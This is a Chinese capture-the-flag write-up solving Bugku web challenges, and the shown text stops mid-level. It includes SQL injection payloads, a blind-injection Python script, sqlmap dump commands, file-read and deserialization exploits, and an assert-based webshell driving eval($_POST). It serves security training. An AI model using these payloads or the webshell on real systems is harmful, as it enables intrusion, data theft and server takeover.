0x01:web2

直接等它的js特效完了以后查看页面源代码

1
KEY{Web-2-bugKssNNikls9100}

0x02:文件上传测试

请上传php文件,那么我们先传一个php文件试试

提示非图片文件
那么我们先将php文件后缀改为jpg,然后抓包改为.php

得到flag

1
Flag:42e97d465f962c53df9549377b513c7e

0x03:计算器

题目给了一个框用于填写计算的答案,但是只能填写一位数,填写不了正确答案

很有可能是再前端限制了,直接f12看一下:

把input标签的maxlength值改大一点就可以了,然后输入答案得到flag

1
flag{CTF-bugku-0032}

0x04:web基础$_GET


直接传一个get参数,值等于flag就可以了

1
flag{bugku_get_su8kej2en}

0x05:web基础$_POST


用hackbar,直接post一个what=flag

1
flag{bugku_get_ssseint67se}

0x06:矛盾


num不能为数字,num又要等于1,利用php的弱类型转换,1a==1

1
flag{bugku-789-ps-ssdf}

0x07:web3

进去后不停的弹窗,禁止弹窗后查看页面源代码,发现一段Unicode编码

直接在线unicode转ascii码

1
KEY{J2sa42ahJK-HS11III}

0x08:sql注入测试

先试一下直接加单引号:

没有任何反应,那么再测试一下宽字节注入:
?id=1%df%27
存在宽字节注入

继续猜字段数
order by 2正常

1
http://103.238.227.13:10083/?id=1 %df%27 order by 2 %23

order by 3出错

1
http://103.238.227.13:10083/?id=1 %df%27 order by 3 %23


那么有三个字段,下一步测试回显位:

1
http://103.238.227.13:10083/?id=1 %df%27 union select 11,22 %23


两个位置都能回显,那么我们随便用哪一个来显示我们要查出来的数据,为了防止表名和字段名相同引起的问题,我们的表名最好加上反引号

1
http://103.238.227.13:10083/?id=1 %df%27 union select string,22 from `key` where id=1%23


1
KEY{	54f3320dc261f313ba712eb3f13a1f6d}

0x09:域名解析


直接在hosts文件里面加一条解析规则

然后访问flag.bugku.com得到flag

1
KEY{DSAHDSJ82HDS2211}

0x0a:sql注入1

题目提示过滤了关键字

但是在查询之前调用了strip_tags()函数来过滤html标签
那么我们可以用如下形式来绕过黑名单关键字过滤

1
an<>d

经过strip_tags()函数变为

1
and

看代码是数字型注入,先测试:and 1=1

1
http://103.238.227.13:10087/?id=1 an<>d 1=1 %23


页面返回正常
再测试:and 1=2

1
http://103.238.227.13:10087/?id=1 an<>d 1=2 %23


没有返回值,说明and后面语句执行成功
再测试字段数
order by 2返回正常

1
http://103.238.227.13:10087/?id=1 o<>rder by 2 %23

order by 3返回空

1
http://103.238.227.13:10087/?id=1 o<>rder by 5 %23

所以字段数位2

再测回显位:

1
http://103.238.227.13:10087/?id=1 u<>nion s<>elect 11,22 %23


两个都是回显位,那么随便用哪一个来显示数据
查找key表id=1的hash字段的值

1
http://103.238.227.13:10087/?id=1 un<>ion selec<>t hash,22 fro<>m `key` whe<>re id=1 %23


1
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

0x0b:你必须让它停下来

进去后页面就不停的刷新
那么我们用burp抓包看看,在http history里面我们可以看到它加载了很多的图片,那么我们就看看这些图片

我们发现只有10.jpg会加载处图片来,于是将其发送到repeater然后go一下看看源码,得到flag

1
flag{dummy_game_1s_s0_popular}

0x0c:本地包含


我们可以看到我们传入hello的值给了变量a,而变量a又在eval里面
hello的值是通过REQUEST来的,说明hello的值既可以来源于post方法,也可以来源于get方法
我们想要得到flag.php的文件内容,这里又刚好有一个var_dump,那么我们可以用file函数来读取flag.php的文件内容,file函数可以把文件内容读取到数组中

1
http://120.24.86.145:8003/?hello=file('flag.php')

当然我看网上其他人的做法基本上都是先闭合前面的var_dump,然后再自己构造一个print_r,,,,或者再构造一个include一个post或者get变量,然后结合filter来读取文件。其实根本不必这么麻烦
当然在eval中,我们可以执行多条表达式,这就是网上普遍解法的依据

1
eval(表达式1;表达式2;);

0x0d:变量1


这道题考的是全局变量

1
2
$args=GLOBALS
$$args=$GLOBALS


1
flag{92853051ab894a64f7865cf3c2128b34}

0x0e:web5

进去后查看页面源代码,发现jsfuck

直接复制下来丢控制台

1
CTF{WHATFK}

0x0f:头等舱

进去后发现一句话,什么也没有,看了下源代码,的确什么也没有
直接抓包,看response得到flag

1
flag{Bugku_k8_23s_istra}

0x10:网站被黑

看到目录webshell,我们先扫下目录看看

发现shell.php,访问一下

需要输入密码,抓包用burp爆破

输入密码得到flag

1
flag{hack_bug_ku035}

0x11:web4

提示看看源代码里面吧
发现一段js

1
2
3
4

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

url解码一下:

1
2
3
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1)+unescape('54aa2'+p2));

后面的unescape用于对escape编码的字符串进行解码
我们可以直接这样做:

1
unescape('67d709b2b')+unescape('54aa2'+'aa648cf6e87a7114f1')


然后得到了一串字符:

1
67d709b2b54aa2aa648cf6e87a7114f1

然后我们将其提交到输入框,得到flag

1
KEY{J22JK-HS11}

0x12:flag在index里

进去后

那么就点击一下呗:

我们注意到url中的file=show.php,那么很可能存在文件读取
题目名称是flag在index里,那么我们读一下index.php文件的内容
这里要结合php://filter来读,不然读不出来

1
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php


然后再base64解码,得到flag

1
flag{edulcni_elif_lacol_si_siht}

0x13:输入密码查看flag


那么我们先生成一个五位数的字典
然后用burp爆破

得到密码13579,输入得到flag

1
flag{bugku-baopo-hah}

0x14:点击一百万次


点一下,数字就加一,看这架势是真的要点一百万次啊
查看源代码发现如下js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 0){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});

可以看出来只用向当前页面post一个clicks的值为1000000应该就可以了
那么我们构造如下语句exp

1
2
3
4
<form action="http://120.24.86.145:9001/test/" method="post">
<input type="text" name="clicks" value="1000000" hidden/>
<button>test</button>
</form>

放到自己本地的web目录或者vps上面,然后访问,得到flag

1
flag{Not_C00kI3Cl1ck3r}

0x15:备份是个好习惯

听这名字就知道是源码泄漏了
直接访问index.php.bak得到index.php的备份文件,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

很常见的考点,md5的0e漏洞,参数key被过滤了一次,直接双写绕过

1
http://120.24.86.145:8002/web16/index.php?kekeyy1=QNKCDZO&kkeyey2=s878926199a


1
Bugku{OH_YOU_FIND_MY_MOMY}

0x16:成绩单

输入一个数字会得到一张对应的成绩单,猜测可能是学号什么的

抓包看一下

可能存在post注入,发送到repeater
用and 1=1和and1=2判断后不是数字型注入

1
id = 2' order by 4%23

order by 4 返回结果

1
id = 2' order by 5%23

order by 5 不返回结果
那么字段为4,再判断一下回显位

我们这样是看不到回显位的,因为这里只能显示一行数据,id =1的结果把回显结果覆盖了
所以我们这样

1
id=-1'union select 11,22,33,44 %23


可以看到22,33,44都是回显位
那么继续查询
先查数据库名

1
id=-1'union select 11,22,33,database() %23


然后再查表名,这里最好用group_concat将所有表名都拼在一起显示在一行,后面一定要指定table_schema的值

1
id=-1'union select 11,22,33,(select group_concat(table_name,'***') from information_schema.tables where table_schema = database()) %23


很明显,flag应该在fl4g表里面
那么继续查fl4g表的字段,后面一定要指定table_name的值

1
id=-1'union select 11,22,33,(select group_concat(column_name,'***') from information_schema.columns where table_name ='fl4g') %23


得到字段名,那么直接查内容了

1
id=-1'union select 11,22,33,(select skctf_flag from `fl4g`) %23

得到flag

1
BUGKU{Sql_INJECT0N_4813drd8hz4}

0x17:秋名山老司机


每刷新一次,式子都不同
这道题感觉题目没有说清楚,我看了下别人的题解才知道算出答案后提交到哪里
这道题需要先快速算出式子的答案,然后向当前页面post一个value,值为式子答案,这个用py很简单就能实现了,脚本如下:

1
2
3
4
5
6
7
8
9
10
#encoding:utf-8
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
sess = requests.session()
html = sess.get(url).text
expr = re.search(r'(\d+[+\-*])+(\d+)', html).group()
result = eval(expr)
data={'value':result}
print (sess.post(url,data = data).text)


1
Bugku{YOU_DID_IT_BY_SECOND}

0x18:速度要快

查看源代码

在响应头发现了一点东西

base64解码看看

拿去提交不正确,这里还需要解一次码

得到一串数字,多试几次后我们会发现,每次的数字都不一样,再结合我们在页面源代码看到的,那么需要我们把得到的数字以post的方式提交
直接写一个python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
#encoding:utf-8
import requests
import base64
sess = requests.session()
url = "http://120.24.86.145:8002/web6/"
r = sess.head(url)
flag = r.headers['flag']
d1 = base64.b64decode(flag)
d1 = d1.split(':')[1]
d2 = base64.b64decode(d1)
data = {'margin':d2}
rep = sess.post(url,data = data)
print rep.text


1
KEY{111dd62fcd377076be18a}

0x19:cookies欺骗


一进去后就注意到了这个url,看起来很像任意文件读取
filename的值有点像base64编码过的,先解码看看

看来真的是任意文件读取
那么我们来读一下index.php的源码
先把文件名base64编码,不出所料一片空白

但是旁边还有一个line参数没有,我们试一下line=1:

再试一下line=2:

看来通过line参数我们每次可以读取一行的源码,我们可以直接用脚本把所有源码扒下来,当然手动扒也可以

1
2
3
4
5
6
7
#encoding:utf-8
import requests
sess = requests.session()
for i in range(1,100):
url = "http://120.24.86.145:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i)
html = sess.post(url).text
print html

得到代码后有点乱,在线美化一下后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}
if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];
}

?>

读懂上面文件后我们知道,直接设置cookies变量margin的值为margin,然后filename设置为keys.php就可以了

1
KEY{key_keys}

0x1a:XSS


看了半天没看出注入点是啥,然后求助了一下百度才知道有个参数id…….(对出题人无语了,参数靠猜)
这套题考的是Unicode绕过html实体编码

1
id=\u003cscript\u003ealert(_key_)\u003c\u002fscript\u003e

1
unicode:\u00 + 字符的十六进制


1
Flag:17f094325e90085b30a5ddefce34acd8

0x1b:never give up

查看源代码,发现1p.html

继续访问1p.html,当我们访问1p.html的时候会跳转到bugku.com,那么我们查看一下1p.html的源代码

1
view-source:http://120.24.86.145:8006/test/1p.html

发现一段奇怪的东西

拿去url解码一下
得到如下:

1
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"

很明显是一段base64编码,拿去base64解码一下,得到如下:

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再拿去url解码一下,得到如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

分析一下,要想得到flag需要满足如下条件

1
!$_GET['id']

后面又必须$id==0,如果这里给id赋值为0的话,那么!$_GET[id]就为1了,就会exit
我们可以利用php弱类型来绕过

1
$id=test

1
!stripos($a,'.')
1
$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

第一个条件限制了我们不能读取远程文件,我们可以用php://input来搞定
第二个限制了”111”.$b是1114的子串,而且$b的长度又要大于5且$b不是以4开头,看起来是不是很矛盾?
然而eregi函数有个缺陷,可以被%00截断,而再strlen中%00被认为是0
所以我们可以构造这样来绕过

1
$b=%0023456

最终payload如下:

1
http://120.24.86.145:8006/test/hello.php?id=test&a=php://input&b=%0023456

post数据:

1
bugku is a nice plateform!

最后得到flag

1
flag{tHis_iS_THe_fLaG}

0x1c:welcome to bugkuctf

查看源代码

代码如下:

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

那么我们就用php://filter来读一下hint.php文件内容

然后把得到的base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

看了下好像不能利用,那我们再读取index.php的源码看看

1
http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

post数据

1
welcome to the bugkuctf

然后将得到的base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

刚才再hint.php发现Flag类和__tostring方法,这里又有unserialize和直接echo对象,很明显的构造反序列化
我们先本地新建一个test.php,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Flag{//flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$obj= new Flag();
echo serialize($obj);

然后访问得到:

我们最终的exp如下:

1
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

post数据

1
welcome to the bugkuctf


1
flag{php_is_the_best_language}

0x1d:过狗一句话


1
2
3
4
<?php $poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']) ?>

访问链接,页面一片空白,再加上题目描述说送给大家过狗一句话,那么猜测是我们访问的页面就是一句话页面。
上面的代码拼凑起来就是

1
assert($_GET['s']);

assert里面的代码会被当作PHP代码来执行,我们来验证一下

1
http://120.24.86.145:8010/?s=phpinfo();


执行成功,那么我们只用执行一个一句话木马就可以getshell了

1
http://120.24.86.145:8010/?s=eval($_POST[drac]);


1
BUGKU{bugku_web_009801_a}

0x1e:字符?正则?

1
2
3
4
5
6
7
8
 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

如果$IM不为false,那么就输出flag
我们直接用python的一个库xeger就可以轻松的找到符合要求的字符串,脚本如下:

1
2
3
4
5
#encoding:utf-8
from xeger import Xeger
_x = Xeger(limit=4)
out = _x.xeger("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i")
print out


1
/keyf{~key~3{{key:/L/o8keyk:]/i

刚开始我看到他highlight_file(‘2.php’);就去2.php页面了,结果得到一个假的flag

最后回到index页面

1
http://120.24.86.145:8002/web10/index.php?id=/keyf{~key~3{{key:/L/o8keyk:]/i


1
KEY{0x0SIOPh550afc}

0x1f:前女友(SKCTF)

查看源代码,然后进入code.txt页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

又是一个md5的0e漏洞,然后注意一下strcmp函数有个漏洞,就是当传入的数据不是字符串的时候会返回0

1
http://118.89.219.210:49162/?v1=QNKCDZO&v2=s878926199a&v3[]=1


1
SKCTF{Php_1s_tH3_B3St_L4NgUag3}

0x20:login1(SKCTF)

题目提示:sql约束攻击

sql约束攻击主要是由于服务端没有对用户名的长度限制而导致数据库截断引起的
我们直接注册一个如下的账户

1
2
admin(此处留25个以上空格)1
Aa1234

然后我们可以用

1
2
admin
Aa1234

来登录,具体的原理可以自行百度,简单来说就是注册时用select判断数据库有没有同名账户的时候没有长度限制,而insert的时候只会插入前25个字符,而select admin和select admin后面加个空格的结果一样

1
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

0x21:你从哪里来


考的伪造Referer

1
flag{bug-ku_ai_admin}

0x22:md5 collision(NUPT_CTF)


那我们输入a试试

出现false,然后爆破了半天,才发现是0e漏洞,直接传入一个md5过后是0e开头的字符串,而且不能传QNKCDZO
看了下网上这道题,感觉该给源码的
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>


1
flag{md5_collision_is_easy}

0x23:程序员本地网站

题目描述请从本地访问
题目考的是X-Forwarded-For的伪造
直接伪造如下

1
X-Forwarded-For: 127.0.0.1


1
flag{loc-al-h-o-st1}

0x24:各种绕过

打开题目获得一段源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

考的是sha1不能正确处理数组

1
http://120.24.86.145:8002/web7/index.php?id=margin&uname[]=abc

post数据

1
passwd[]=ddd


1
flag{HACK_45hhs_213sDD}

0x25:web8

打开题目得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

一看到file_get_contents的值等于变量的值,我们又不知道文件内容什么的,就想到用php://input

1
http://120.24.86.145:8002/web8/?ac=123&fn=php://input

1
123

得到flag

1
flag{3cfb7a90fc0de31}

0x26:细心

题目描述:想办法变成admin

进去后没有发现什么
在看robots.txt的时候发现了一个路径

访问一下

注意到左下角的

1
if ($_GET[x]==$password)

看来很有可能要爆破密码
使用burp来爆破试试

得到密码admin
访问

1
http://120.24.86.145:8002/web13/resusl.php?x=admin


1
flag(ctf_0098_lkji-s)

0x27:求getshell


很明显的文件上传,尝试了00截断后又试了php5,phtml等等,都没绕过,忍不住看了下write up,才知道服务端估计是过滤了MIME为multipart/form-data,而比较的时候区分了大小写,所以把其中一些字母大写可以绕过
然后再用后缀名php5绕过黑名单检测

1
KEY{bb35dc123820e}

0x28:INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

分析一下代码:
IP是从X-FORWARDED-FOR头取得,然后如果有逗号的话就分割为数组取第一个,相当于过滤了逗号
然后没有任何过滤就直接拼接到insert语句中了
这里我们用时间盲注的方式来做
在sql中

1
substr(str, i, j)

等价于

1
substr(str from i for j)


1
if(expr1, expr2, expr3)

等价于

1
select case when expr1 then expr2 else expr3 end

1
limit 3,1

等价于

1
limit 1 offset 3

有了上面这两个替换,我们在时间盲注的时候就可以避开逗号了
先来爆数据库名,这里sleep和timeout最好设置大一点,不然可能会因为一些其它原因导致的超时导致结果出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#encoding:utf-8
import string
import requests
string = string.ascii_letters+string.digits #a-z A-Z 0-9
url = "http://120.24.86.145:8002/web15/"
payload = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(15) else 1 end) and '1"
result = ''
for i in range(1,35):
next_position = False
for j in string:
try:
header = {'X-Forwarded-For':payload.format(str(i),j)}
res = requests.get(url,headers=header,timeout=15)
except requests.exceptions.ReadTimeout:
result += j
print result
next_position = True
break
except requests.exceptions.ConnectTimeout:
break
if not next_position:
break
print "Result:"+result


然后再爆表名,改下脚本的payload值就可以了,这里用limit offset来限制第几张表

1
payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema = database() limit 1 offset 1) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1"

第二张表找到flag表

再爆字段名

1
payload = "'+(select case when (substring((select column_name from information_schema.columns where table_name = 'flag' limit 1 offset 0) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1"

成功得到字段名为flag,那么接下来继续爆字段内容

1
payload = "'+(select case when (substring((select flag from `flag`) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1"


得到flag

1
flag{cdbf14c9551d5be5612F7bb5d2867853}

0x29:这是一个神奇的登陆框


直接用burp抓包,然后用sqlmap跑一下
数据库名

1
sqlmap -r "1.txt" -p "admin_name" --dbms mysql --level 3 --risk 3 --dbs


爆表名

1
sqlmap -r "1.txt" -p "admin_name" --dbms mysql --level 3 --risk 3 --tables -D bugkusql1


爆字段名

1
sqlmap -r "1.txt" -p "admin_name" --dbms mysql --level 3 --risk 3 --columns -T flag1 -D bugkusql1


dump出字段的值得到flag

1
sqlmap -r "1.txt" -p "admin_name" --dbms mysql --level 3 --risk 3 --dump -C"flag1" -T flag1 -D bugkusql1


1
flag{ed6b28e684817d9efcaf802979e57aea}

0x2a:多次

进去后看到url里面有个id=1,那么可能存在sql注入
加单引号

1
id = 1'


后面再加一个注释%23

1
id = 1' %23


那么应该存在字符型sql注入
用order by试一下判断列数

1
id=1' order by 1%23


还是error,不可能一个字段都没有,那么一定是过滤了什么
我们可以用异或注入来判断被过滤了什么
先判断是否存在异或注入

1
id=1'^(false)^'%23


1
id=1'^(true)^'%23


为true的时候返回error,为false的时候页面返回正常,存在异或注入

然后再结合sql的length函数可以判断哪些关键字被过滤了
先来判断一下union

1
id=1'^(length('union')==0)^'%23


1
id=1'^(length('union')!=0)^'%23


长度为0,union被过滤了
通过同样的方式,可以判断出其它被过滤的关键字
最终得到以下关键字被过滤了

1
union, select, or, and

接下来判断列数,or被过滤了,尝试双写绕过

1
id=1'oorrder by 2%23


1
id=1'oorrder by 3%23


得到列数为2
继续判断回显位,这里把id的值赋值为-1,不然会覆盖我们回显的值

1
id=-1'uniounionn selecselectt 11,22 %23


得到第二个字段为回显位,接下来用子查询查表

1
id=-1'uniounionn selecselectt 11,(seleselectct group_concat(table_name) from infoorrmation_schema.tables where table_schema = database()) %23


先来看一下flag1表

1
id=-1'uniounionn selecselectt 11,(seleselectct group_concat(column_name) from infoorrmation_schema.columns where table_name = 'flag1') %23


继续查询flag1字段的值

1
id=-1'uniounionn selecselectt 11,(seleselectct flag1 from `flag1`) %23


1
usOwycTju+FTUUzXosjr

提交了一下不正确,看来这只是半个flag
那么继续看hint表的字段

1
id=-1'uniounionn selecselectt 11,(seleselectct group_concat(column_name) from infoorrmation_schema.columns where table_name = 'hint') %23


然后看了下这两个字段,没有得到什么有用的信息

再回去看flag1表的address字段

1
id=-1'uniounionn selecselectt 11,(seleselectct address from `flag1`) %23


得到下一关地址

1
./Once_More.php


参数又是id,加个单引号试试

发现报错,存在注入
再试试and 1=1 和and 1=2

1
id=1' and 1=1 %23


1
id=1' and 1=2 %23


看到and语句也执行成功了
order by判断一下列数

1
id=1'order by 2 %23


1
id=1'order by 3 %23


列数为2,看来这次没有过滤or
再看回显位

1
id=-1' union select 11,22 %23


报错,结合上一关的情况,猜测过滤了union和select,尝试双写绕过

1
id=-1' uniunionon seselectlect 11,22 %23


什么信息也没有出现,可能双写绕过也失败了
我们在url中输入关键字来测试哪些关键字被过滤了

1
